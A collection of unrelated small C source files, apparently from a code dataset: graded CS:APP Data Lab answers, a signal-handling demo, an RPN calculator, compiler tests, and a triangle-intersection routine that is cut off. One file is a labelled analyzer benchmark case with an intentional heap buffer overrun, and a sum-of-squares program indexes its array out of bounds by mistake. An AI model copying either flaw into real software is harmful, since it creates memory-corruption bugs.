0XAE,0X73,0X04,0X21,0X04,0X21,0XE3,0X18,0XE3,0X18,0XE3,0X18,0XC3,0X18,0XC3,0X18, 0X45,0X29,0XCB,0X5A,0X8A,0X52,0X61,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X41,0X08,0X41,0X08,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X71,0X8C,0XFF,0XFF,0X7D,0XEF,0X69,0X4A,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X2C,0X63,0X3C,0XE7,0X1C,0XE7,0X34,0XA5,0X61,0X08, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X86,0X31,0XB2,0X94,0X71,0X8C,0X51,0X8C,0X30,0X84, 0XEF,0X7B,0XCF,0X7B,0X8E,0X73,0X6D,0X6B,0X2C,0X63,0XEB,0X5A,0XCB,0X5A,0XE7,0X39, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X41,0X08,0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X61,0X08,0XE7,0X39,0XE7,0X39, 0XE3,0X18,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X45,0X29,0XA6,0X31,0XA6,0X31,0X45,0X29,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X04,0X21,0X04,0X21,0X04,0X21,0XE3,0X18,0XE3,0X18,0XE3,0X18, 0XC3,0X18,0XC3,0X18,0XA2,0X10,0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,};
the_stack_data/8407.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> // SIG_ATOMIC_MAX #include <signal.h> #include <ctype.h> volatile sig_atomic_t i; void sigint_handle(int sig) { char c; if (sig != SIGINT) exit(1); signal(SIGINT, SIG_IGN); // ignore new comming SIGINT puts("\nThis is in function sigint_handle, do you want to exit (y/n)?"); while ((c = tolower(getchar())) != 'y' && c != 'n') ; if (c == 'y') exit(0); // exit successfully else i = 0; // restart counting signal(SIGINT, sigint_handle); // reinstall signal handle } int main(int argc, char const *argv[]) { if (signal(SIGINT, sigint_handle)) { perror("Install signal error!"); exit(3); } while (1) { puts("Press Ctrl+C to interrupt me ..."); for (i = 0; i < SIG_ATOMIC_MAX; ++i) { if (i % 100000 == 0) { printf("\r%d", i / 100000); fflush(stdout); } } raise(SIGINT); // if not press Ctrl+C } return 0; }
the_stack_data/96488.c
/* * CS:APP Data Lab * * <Please put your name and userid here> * * bits.c - Source file with your solutions to the Lab. * This is the file you will hand in to your instructor. * * WARNING: Do not include the <stdio.h> header; it confuses the dlc * compiler. You can still use printf for debugging without including * <stdio.h>, although you might get a compiler warning. In general, * it's not good practice to ignore compiler warnings, but in this * case it's OK. */ #if 0 /* * Instructions to Students: * * STEP 1: Read the following instructions carefully. */ You will provide your solution to the Data Lab by editing the collection of functions in this source file. INTEGER CODING RULES: Replace the "return" statement in each function with one or more lines of C code that implements the function. Your code must conform to the following style: int Funct(arg1, arg2, ...) { /* brief description of how your implementation works */ int var1 = Expr1; ... int varM = ExprM; varJ = ExprJ; ... varN = ExprN; return ExprR; } Each "Expr" is an expression using ONLY the following: 1. Integer constants 0 through 255 (0xFF), inclusive. You are not allowed to use big constants such as 0xffffffff. 2. Function arguments and local variables (no global variables). 3. Unary integer operations ! ~ 4. Binary integer operations & ^ | + << >> Some of the problems restrict the set of allowed operators even further. Each "Expr" may consist of multiple operators. You are not restricted to one operator per line. You are expressly forbidden to: 1. Use any control constructs such as if, do, while, for, switch, etc. 2. Define or use any macros. 3. Define any additional functions in this file. 4. Call any functions. 5. Use any other operations, such as &&, ||, -, or ?: 6. Use any form of casting. 7. Use any data type other than int. This implies that you cannot use arrays, structs, or unions. You may assume that your machine: 1. Uses 2s complement, 32-bit representations of integers. 2. Performs right shifts arithmetically. 3. Has unpredictable behavior when shifting an integer by more than the word size. EXAMPLES OF ACCEPTABLE CODING STYLE: /* * pow2plus1 - returns 2^x + 1, where 0 <= x <= 31 */ int pow2plus1(int x) { /* exploit ability of shifts to compute powers of 2 */ return (1 << x) + 1; } /* * pow2plus4 - returns 2^x + 4, where 0 <= x <= 31 */ int pow2plus4(int x) { /* exploit ability of shifts to compute powers of 2 */ int result = (1 << x); result += 4; return result; } FLOATING POINT CODING RULES For the problems that require you to implent floating-point operations, the coding rules are less strict. You are allowed to use looping and conditional control. You are allowed to use both ints and unsigneds. You can use arbitrary integer and unsigned constants. You are expressly forbidden to: 1. Define or use any macros. 2. Define any additional functions in this file. 3. Call any functions. 4. Use any form of casting. 5. Use any data type other than int or unsigned. This means that you cannot use arrays, structs, or unions. 6. Use any floating point data types, operations, or constants. NOTES: 1. Use the dlc (data lab checker) compiler (described in the handout) to check the legality of your solutions. 2. Each function has a maximum number of operators (! ~ & ^ | + << >>) that you are allowed to use for your implementation of the function. The max operator count is checked by dlc. Note that '=' is not counted; you may use as many of these as you want without penalty. 3. Use the btest test harness to check your functions for correctness. 4. Use the BDD checker to formally verify your functions 5. The maximum number of ops for each function is given in the header comment for each function. If there are any inconsistencies between the maximum ops in the writeup and in this file, consider this file the authoritative source. /* * STEP 2: Modify the following functions according the coding rules. * * IMPORTANT. TO AVOID GRADING SURPRISES: * 1. Use the dlc compiler to check that your solutions conform * to the coding rules. * 2. Use the BDD checker to formally verify that your solutions produce * the correct answers. */ #endif /* * bitAnd - x&y using only ~ and | * Example: bitAnd(6, 5) = 4 * Legal ops: ~ | * Max ops: 8 * Rating: 1 */ int bitAnd(int x, int y) { /* * De Morgan's laws */ return ~(~x | ~y); } /* * getByte - Extract byte n from word x * Bytes numbered from 0 (LSB) to 3 (MSB) * Examples: getByte(0x12345678,1) = 0x56 * Legal ops: ! ~ & ^ | + << >> * Max ops: 6 * Rating: 2 */ int getByte(int x, int n) { return x>>(n<<3)&0xff; } /* * logicalShift - shift x to the right by n, using a logical shift * Can assume that 0 <= n <= 31 * Examples: logicalShift(0x87654321,4) = 0x08765432 * Legal ops: ! ~ & ^ | + << >> * Max ops: 20 * Rating: 3 */ int logicalShift(int x, int n) { int y = 32 + ~n; // return (x>>n) & (1<<(y+1)-1); return (x>>n)&((1<<y) + (1<<y) + (~0)); //่€ƒ่™‘ๆบขๅ‡บ๏ผšn=0->y=31->1<<32 } /* * bitCount - returns count of number of 1's in word * Examples: bitCount(5) = 2, bitCount(7) = 3 * Legal ops: ! ~ & ^ | + << >> * Max ops: 40 * Rating: 4 */ int bitCount(int x) { // int ans = x & 1 + x >> 1 & 1; int mask1 = 0x55555555; // 01010101010101010101010101010101 int mask2 = 0x33333333; // 00110011001100110011001100110011 int mask3 = 0x0f0f0f0f;// 00001111000011110000111100001111 int mask4 = 0x00ff00ff;// 00000000111111110000000011111111 int mask5 = 0x0000ffff;// 00000000000000001111111111111111 x = (x & mask1) + ((x>>1) & mask1); x = (x & mask2) + ((x>>2) & mask2); x = (x & mask3) + ((x>>4) & mask3); x = (x & mask4) + ((x>>8) & mask4); x = (x & mask5) + ((x>>16) & mask5); return x; } /* * bang - Compute !x without using ! * Examples: bang(3) = 0, bang(0) = 1 * Legal ops: ~ & ^ | + << >> * Max ops: 12 * Rating: 4 */ int bang(int x) { // when x!=0, x and -x will have a highest signal '1' // while x=0, x and -x will always have a highest signal '0' return (~((x | (~x+1))>>31)) & 1; } /* * tmin - return minimum two's complement integer * Legal ops: ! ~ & ^ | + << >> * Max ops: 4 * Rating: 1 */ int tmin(void) { return 1<<31; } /* * fitsBits - return 1 if x can be represented as an * n-bit, two's complement integer. * 1 <= n <= 32 * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1 * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 2 */ int fitsBits(int x, int n) { // ๅฆ‚ๆžœๅœจ n ไฝ่กฅ็ ็š„่Œƒๅ›ดๅ†…๏ผŒ32ไฝ็š„ x ๅณ็งป n-1 ไฝ๏ผŒๅบ”่ฏฅๅ…จไธบ0ๆˆ–ๅ…จไธบ1 // +1๏ผŒไธบ1ๆˆ–0๏ผŒๅณ็งป1ไฝ๏ผŒไธบ0 return !(((x >> (n + (~0))) +1)>>1); } /* * divpwr2 - Compute x/(2^n), for 0 <= n <= 30 * Round toward zero * Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2 * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 2 */ int divpwr2(int x, int n) { // ่กฅ็ ้™คๆณ•๏ผˆๅ‘ไธŠ่ˆๅ…ฅ๏ผ‰๏ผš(x+(1<<k)-1)>>k // ่กฅ็ ้™คๆณ•๏ผˆๅ‘ไธ‹่ˆๅ…ฅ๏ผ‰๏ผšx >> k int bias = (x>>31)&((1<<n)+(~0)); // ๅฆ‚ๆžœ x<0๏ผŒๅŠ ไธŠๅ็งป้‡๏ผŒๅฆๅˆ™ไธๅŠ  return (x + bias) >> n; // return (x + (((x >> 31) & 1) << n) + (~0) + (!((x >> 31) & 1))) >> n; } /* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 5 * Rating: 2 */ int negate(int x) { return ~x+1; } /* * isPositive - return 1 if x > 0, return 0 otherwise * Example: isPositive(-1) = 0. * Legal ops: ! ~ & ^ | + << >> * Max ops: 8 * Rating: 3 */ int isPositive(int x) { // ๆœ€้ซ˜ไฝๆ˜ฏๅฆไธบ1๏ผŒx ๆ˜ฏๅฆไธบ0 return !(((x>>31)&1)|!x); } /* * isLessOrEqual - if x <= y then return 1, else return 0 * Example: isLessOrEqual(4,5) = 1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 24 * Rating: 3 */ int isLessOrEqual(int x, int y) { int signx = (x>>31)&1; int signy = (y>>31)&1; int signdiff = (!signy) & signx; // ็ฌฆๅท็›ธๅŒๆ—ถไธบ0๏ผŒ็ฌฆๅทไธๅŒ๏ผŒไป…ๅฝ“ y>0,x<0ๆ—ถไธบ1 int signsame = (!(signx^signy)) & (!(((y+((~x)+1))>>31)&1)); //ไป…ๅฝ“็ฌฆๅท็›ธๅŒๆ—ถ่ฟ›่กŒๅ‡ๆณ• return signdiff | signsame; } /* * ilog2 - return floor(log base 2 of x), where x > 0 * Example: ilog2(16) = 4 * Legal ops: ! ~ & ^ | + << >> * Max ops: 90 * Rating: 4 */ int ilog2(int x) { // log2(x)ๅฐฑๆ˜ฏxไบŒ่ฟ›ๅˆถ้‡Œๆœ€้ซ˜ไฝ็š„1ๅœจๅ“ช้‡Œ // ไบŒๅˆ†ๆŸฅๆ‰พ int ans = 0; ans = (!!(x >> 16)) << 4; ans = ans + ((!!(x >> (8 + ans))) << 3); ans = ans + ((!!(x >> (4 + ans))) << 2); ans = ans + ((!!(x >> (2 + ans))) << 1); ans = ans + ((!!(x >> (1 + ans))) << 0); return ans; } /* * float_neg - Return bit-level equivalent of expression -f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representations of * single-precision floating point values. * When argument is NaN, return argument. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 10 * Rating: 2 */ unsigned float_neg(unsigned uf) { unsigned result = uf & 0x7fffffff; if (result > 0x7f800000) return uf; return uf^0x80000000; } /* * float_i2f - Return bit-level equivalent of expression (float) x * Result is returned as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point values. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ unsigned float_i2f(int x) { // x = 0xfefffffa = 1111 1110 1111 1111 1111 1111 1111 1010 int Bias = 127; int sign = (x >> 31) & 1; if(x == 0) return x; // else{ if(sign) x = -x; // -x = 0000 0001 0000 0000 0000 0000 0000 0110 // ่ฎก็ฎ—ๆœ€้ซ˜ๆœ‰ๆ•ˆไฝ็š„ไฝ็ฝฎ int valid_num = 31; while(!((1 << valid_num) & x)) valid_num = valid_num - 1; //valid_num = 24 int e = valid_num + Bias; int coarse_M = x & (~(1 << valid_num)); //ๅŽป้™ค็ฌฆๅทไฝๅ’Œๆœ€้ซ˜ๆœ‰ๆ•ˆไฝ็š„ๅฐพๆ•ฐ๏ผˆๅพ…่ง„่Œƒๅˆฐ23ไฝ๏ผ‰ coarse_M = 0000 0000 0000 0000 0000 0000 0000 0110 int M; if(valid_num <= 23) // ๅฐพๆ•ฐไฝๆ•ฐ < 23๏ผšๅ…จ้ƒจไฟ็•™๏ผŒๅทฆ็งป๏ผŒ็ผบ็š„ไฝๆ•ฐ่กฅ 0 M = coarse_M << (23 - valid_num); else { // ๅฐพๆ•ฐไฝๆ•ฐ > 23๏ผšๅณ็งป๏ผŒๅ‘ๅถๆ•ฐ่ˆๅ…ฅ int surplus_num = valid_num - 23; // surplus_num = 1 M = (coarse_M >> surplus_num); // M = 0011 int surplus = coarse_M << (31-surplus_num); // surplus = 1100 if((surplus & 0x7fffffff) > 0x40000000) // ่ขซ็งป้™ค็š„ๆœ€้ซ˜ไฝไธบ1๏ผŒ่ฟ›ไฝ M = M+1; else if((surplus & 0xe0000000) == 0xc0000000) // ๆœช่ขซ็งป้™ค็š„ๆœ€ไฝŽไฝXๅ’Œ่ขซ็งป้™ค็š„ๆœ€้ซ˜ไฝๅฝขๆˆX10็š„็ป“ๆž„๏ผŒๅ‘ๅถๆ•ฐ่ˆๅ…ฅ๏ผŒM + 1 M = M+1; if(M & (1 << 23)) { e = e + 1;// ๅฆ‚ๆžœ่ฟ›ไฝๅฏผ่‡ดๆœ€้ซ˜ไฝ่ฟ›ไฝ๏ผŒๅณๆœ‰ๆ•ˆไฝๆ•ฐ+1๏ผŒๅˆ™ e+1 M = M & 0x007fffff; } } return (sign << 31) | (e << 23) | M; } } /* * float_twice - Return bit-level equivalent of expression 2*f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representation of * single-precision floating point values. * When argument is NaN, return argument * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ unsigned float_twice(unsigned uf) { if((uf & 0x7f800000) == 0) // ้ž่ง„ๆ ผๅŒ–๏ผš้˜ถ็ ๅ…จไธบ0๏ผŒๆญคๆ—ถ uf*2 <=> ๅฐพๆ•ฐๅทฆ็งป1ไฝ uf = (uf & 0x80000000) | ((uf & 0x007fffff) << 1); else if((uf & 0x7f800000) != 0x7f800000) // ่ง„ๆ ผๅŒ–๏ผš้˜ถ็ +1 uf = uf + (1 << 23); return uf; }
the_stack_data/111078703.c
#include <math.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <limits.h> #include <stdbool.h> int main(){ int g; int cnt; scanf("%d",&g); char * * output; output = malloc(sizeof(char *) * g); for(int a0 = 0; a0 < g; a0++){ int n; scanf("%d",&n); int *sequence = malloc(sizeof(int) * n); for(int sequence_i = 0; sequence_i < n; sequence_i++){ scanf("%d",&sequence[sequence_i]); } output[a0] = malloc(6); memset(output[a0], 0, 6); cnt = 0; if (n > 2) { for (int i = 1; i < n - 1; i ++) { if (1 == sequence[i]) { if (0 == sequence[i - 1] && 0 == sequence[i + 1]) { sequence[i] = 0; } } } for (int i = 1; i < n - 1; i ++) { if (0 == sequence[i - 1] && 0 == sequence[i + 1]) { cnt ++; } } } // printf("cnt is %d\n", cnt); if (0 == (cnt % 2)) { strcpy(output[a0], "Bob"); } else { strcpy(output[a0], "Alice"); } // If Alice wins, print 'Alice' on a new line; otherwise, print 'Bob' } for(int a0 = 0; a0 < g; a0++){ printf("%s\n", output[a0]); free(output[a0]); } free(output); return 0; }
the_stack_data/306027.c
//#include <stdio.h> // //#define STACKSIZE 100 // //double stack[STACKSIZE]; //int sp = 0; // //void push(double var); //double pop(void); //void print(void); //void swap(void); //void clear(void); // //main() //{ // //} // //void push(double var) //{ // if (sp < STACKSIZE) { // stack[sp++] = var; // } // else { // printf("Error: Stack is Full, Can't Push %g\n", var); // } //} // //double pop(void) //{ // if (sp > 0) { // return stack[--sp]; // } // else { // printf("Error: Empty Stack.\n"); // return 0.0; // } //} // //void print(void) //{ // if (sp > 0) { // printf("%.8g\n", stack[sp - 1]); // } // else { // printf("Error: Empty Stack.\n"); // } //} // //void swap(void) //{ // double tmp; // // if (sp > 1) { // tmp = stack[sp - 2]; // stack[sp - 2] = stack[sp - 1]; // stack[sp - 1] = tmp; // } // else { // printf("Error: Not Enough Stack Elements.\n"); // } //} // //void clear(void) //{ // int i; // // for (i = 0; i < sp; ++i) { // stack[i] = 0.0; // } //} #include <stdio.h> #include <ctype.h> #include <math.h> #define STACKSIZE 100 #define MAXOP 100 #define BUFSIZE 100 #define NUMBER '0' char buf[BUFSIZE]; int bufp = 0; double stack[STACKSIZE]; int sp = 0; double my_atof(char s[]); double pop(void); void push(double var); void clear(void); int getop(char s[]); int getch(void); void ungetch(int c); main() { int type; char s[MAXOP]; double tmp, tmp2; while ((type = getop(s)) != EOF) { switch (type) { case NUMBER: push(my_atof(s)); break; case '+': push(pop() + pop()); break; case '-': tmp = pop(); push(pop() - tmp); break; case '*': push(pop() * pop()); break; case '/': tmp = pop(); if (tmp + 0 != 0) { push(pop() / tmp); } else { printf("Error: Zero Divisior\n"); } break; case '%': tmp = pop(); if (tmp + 0 != 0) { push(fmod(pop(), tmp)); } else { printf("Error: Zero Divisior\n"); } break; case '?': tmp = pop(); printf("\t%.8g\n", tmp); push(tmp); break; case 'c': clear(); break; case 'd': tmp = pop(); push(tmp); push(tmp); break; case 's': tmp = pop(); tmp2 = pop(); push(tmp); push(tmp2); break; case '\n': printf("\t%.8g\n", pop()); break; default: printf("Error: Unknown command %s\n", s); break; } } } double pop(void) { if (sp > 0) { return stack[--sp]; } else { printf("Error: Empty Stack.\n"); return 0.0; } } void push(double var) { if (sp >= STACKSIZE) { printf("Error: Stack is Full, Can't Push %g\n", var); } else { stack[sp++] = var; } } void clear(void) { sp = 0; } int getop(char s[]) { int i; int c; while ((s[0] = c = getch()) == ' ' || c == '\t') { ; } s[1] = '\0'; if (!isdigit(c) && c != '.' && c != '-') { return c; } i = 0; if (c == '-') { if (isdigit(c = getch()) || c == '.') { s[++i] = c; } else { if (c != EOF) { ungetch(c); } return '-'; } } if (isdigit(c)) { while (isdigit(s[++i] = c = getch())) { ; } } if (c == '.') { while (isdigit(s[++i] = c = getch())) { ; } } s[i] = '\0'; if (c != EOF) { ungetch(c); } return NUMBER; } double my_atof(char s[]) { double val, power; int exp; int i, sign; for (i = 0; isspace(s[i]); ++i) { ; } sign = (s[i] == '-') ? (-1) : 1; if (s[i] == '-' || s[i] == '+') { ++i; } for (val = 0.0; isdigit(s[i]); ++i) { val = 10.0 * val + (s[i] - '0'); } if (s[i] == '.') { ++i; } for (power = 1.0; isdigit(s[i]); ++i) { val = 10.0 * val + (s[i] - '0'); power *= 10.0; } val = sign * val / power; if (s[i] == 'e' || s[i] == 'E') { ++i; sign = (s[i] == '-') ? (-1) : 1; if (s[i] == '+' || s[i] == '-') { ++i; } for (exp = 0; isdigit(s[i]); ++i) { exp = 10 * exp + (s[i] - '0'); } if (sign == 1) { while (exp-- > 0) { val *= 10; } } else { while (exp-- > 0) { val /= 10; } } } return val; } int getch(void) { return (bufp > 0) ? buf[--bufp] : getchar(); } void ungetch(int c) { if (bufp < BUFSIZE) { buf[bufp++] = c; } else { printf("Error; Buff is Full\n"); } }
the_stack_data/173577855.c
#ifdef _WIN32 #include "compat_getpass.h" #include <stdio.h> #include <conio.h> char *getpass(const char *prompt) { static char buf[128]; size_t i; fputs(prompt, stderr); fflush(stderr); for (i = 0; i < sizeof(buf) - 1; i++) { buf[i] = _getch(); if (buf[i] == '\r') break; } buf[i] = 0; fputs("\n", stderr); return buf; } #endif
the_stack_data/146275.c
/* Copyright (c) 2014 Nordic Semiconductor. All Rights Reserved. * * The information contained herein is property of Nordic Semiconductor ASA. * Terms and conditions of usage are described in detail in NORDIC * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * * Licensees are granted free, non-transferable use of the information. NO * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * the file. * */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdarg.h> #ifdef ENABLE_DEBUG_LOG_SUPPORT #include "app_trace.h" #include "nrf_log.h" void app_trace_init(void) { (void)NRF_LOG_INIT(); } void app_trace_dump(uint8_t * p_buffer, uint32_t len) { app_trace_log("\r\n"); for (uint32_t index = 0; index < len; index++) { app_trace_log("0x%02X ", p_buffer[index]); } app_trace_log("\r\n"); } #endif // ENABLE_DEBUG_LOG_SUPPORT /** *@} **/
the_stack_data/69082.c
/* Name - Nikhil Ranjan Nayak Regd No - 1641012040 Desc - Sum of squares of n numbers */ #include "stdio.h" void main() { int i,j; printf("\n Enter number of inputs - "); scanf("%d", &i); double nums[i], sum_squares = 0; printf("\n Enter numbers - \n"); for(j = 0; j < i; j++) { scanf("%lf", &nums[i]); sum_squares += nums[i]*nums[i]; } printf("\n Sum of squares - %.3f \n", sum_squares); }
the_stack_data/67326591.c
int a[2]; f (b) { unsigned int i; int *p; for (p = &a[b], i = b; --i < ~0; ) *--p = i * 3 + (int)a; } main () { a[0] = a[1] = 0; f (2); if (a[0] != (int)a || a[1] != (int)a + 3) abort (); exit (0); }
the_stack_data/237642508.c
#include <stdlib.h> #include <stdio.h> #define ul unsigned long #define MAXSIZE 10 int main() { ul *o = calloc(MAXSIZE * MAXSIZE / 2, sizeof(ul)); for (unsigned y = 0; y < MAXSIZE; ++y) { ul *row = o + y; for (unsigned x = 0; x < MAXSIZE - y; ++x) { row[x] = y * x; printf("%4lu, ", row[x]); } puts(""); } return 0; }
the_stack_data/248580971.c
//Classification: #default/n/BO/PAE/dA+aS/D(v)/fp/rp //Written by: Igor Eremeev //Reviewed by: Pomelov Sergey //Comment: buffer overrun using pointer arithmetic #include <stdlib.h> #include <stdio.h> int func (int *p) { int i; for (i=0; i<50; i++) { (*p) = i; p++; } (*p) = 1024; return 0; } int main (void) { int *p; p = (int*)malloc(sizeof(int)*50); if (p==0) { return 1; } func (p); printf ("%d", p[0]+p[49]); free(p); return 0; }
the_stack_data/20451270.c
/* common_test_2.c -- test common symbol name conflicts Copyright (C) 2009-2017 Free Software Foundation, Inc. Written by Ian Lance Taylor <[email protected]> This file is part of gold. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ /* Call a function. The function will come from a shared library. */ extern void c1 (void); void fn (void); void fn (void) { c1 (); }
the_stack_data/61074582.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_putchar.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: angagnie <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2015/07/15 19:50:58 by angagnie #+# #+# */ /* Updated: 2015/07/15 19:51:45 by angagnie ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void ft_putchar(char c) { write(1, &c, 1); }
the_stack_data/237643680.c
#include <stdio.h> int main() { printf("Hello world\n"); return 0; }
the_stack_data/175143687.c
/* Triangle/triangle intersection test routine, * by Tomas Moller, 1997. * See article "A Fast Triangle-Triangle Intersection Test", * Journal of Graphics Tools, 2(2), 1997 * * Updated June 1999: removed the divisions -- a little faster now! * Updated October 1999: added {} to CROSS and SUB macros * * int no_div_tri_tri_intersect(float V0[3],float V1[3],float V2[3], * float U0[3],float U1[3],float U2[3]) * * parameters: vertices of triangle 1: V0, V1, V2 * vertices of triangle 2: U0, U1, U2 * result : returns 1 if the triangles intersect, otherwise 0 * */ #include <math.h> #define FABS(x) ((float)fabs(x)) /* implement as is fastest on your machine */ /* if USE_EPSILON_TEST is true then we do a check: if |dv|<EPSILON then dv = 0.0; else no check is done (which is less robust) */ #define USE_EPSILON_TEST TRUE #define EPSILON 0.000001 /* macros */ #define CROSS(dest,v1,v2){ \ dest[0] = v1[1]*v2[2]-v1[2]*v2[1]; \ dest[1] = v1[2]*v2[0]-v1[0]*v2[2]; \ dest[2] = v1[0]*v2[1]-v1[1]*v2[0];} #define DOT(v1,v2) (v1[0] * v2[0] + v1[1] * v2[1] + v1[2] * v2[2]) #define SUB(dest,v1,v2){ \ dest[0] = v1[0] - v2[0]; \ dest[1] = v1[1] - v2[1]; \ dest[2] = v1[2] - v2[2];} /* sort so that a<=b */ #define SORT(a,b) \ if (a > b) { \ float c; \ c=a; \ a=b; \ b=c; \ } /* this edge to edge test is based on Franlin Antonio's gem: "Faster Line Segment Intersection", in Graphics Gems III, pp. 199-202 */ #define EDGE_EDGE_TEST(V0,U0,U1) \ Bx = U0[i0]-U1[i0]; \ By = U0[i1]-U1[i1]; \ Cx = V0[i0]-U0[i0]; \ Cy = V0[i1]-U0[i1]; \ f = Ay*Bx-Ax*By; \ d = By*Cx-Bx*Cy; \ if ((f > 0 && d>= 0 && d <= f) || (f < 0 && d <= 0 && d >= f)) { \ e = Ax * Cy - Ay * Cx; \ if (f > 0) { \ if (e >= 0 && e <= f) return 1; \ } else { \ if (e <= 0 && e >= f) return 1; \ } \ } #define EDGE_AGAINST_TRI_EDGES(V0,V1,U0,U1,U2) { \ float Ax,Ay,Bx,By,Cx,Cy,e,d,f; \ Ax = V1[i0] - V0[i0]; \ Ay = V1[i1] - V0[i1]; \ /* test edge U0,U1 against V0,V1 */ \ EDGE_EDGE_TEST(V0, U0, U1); \ /* test edge U1,U2 against V0,V1 */ \ EDGE_EDGE_TEST(V0, U1, U2); \ /* test edge U2,U1 against V0,V1 */ \ EDGE_EDGE_TEST(V0, U2, U0); \ } #define POINT_IN_TRI(V0,U0,U1,U2) { \ float a,b,c,d0,d1,d2; \ /* is T1 completly inside T2? */ \ /* check if V0 is inside tri(U0,U1,U2) */ \ a = U1[i1]-U0[i1]; \ b = -(U1[i0]-U0[i0]); \ c = -a*U0[i0]-b*U0[i1]; \ d0 = a*V0[i0]+b*V0[i1]+c; \ \ a = U2[i1]-U1[i1]; \ b = -(U2[i0]-U1[i0]); \ c = -a*U1[i0]-b*U1[i1]; \ d1 = a*V0[i0]+b*V0[i1]+c; \ \ a = U0[i1]-U2[i1]; \ b = -(U0[i0]-U2[i0]); \ c = -a*U2[i0]-b*U2[i1]; \ d2 = a*V0[i0]+b*V0[i1]+c; \ if(d0*d1>0.0) \ { \ if(d0*d2>0.0) return 1; \ } \ } static int coplanar_tri_tri(float N[3],float V0[3],float V1[3],float V2[3], float U0[3],float U1[3],float U2[3]) { float A[3]; short i0,i1; /* first project onto an axis-aligned plane, that maximizes the area */ /* of the triangles, compute indices: i0,i1. */ A[0] = FABS(N[0]); A[1] = FABS(N[1]); A[2] = FABS(N[2]); if (A[0] > A[1]) { if(A[0]>A[2]) { i0 = 1; /* A[0] is greatest */ i1 = 2; } else { i0 = 0; /* A[2] is greatest */ i1 = 1; } } else { /* A[0] <= A[1] */ if (A[2] > 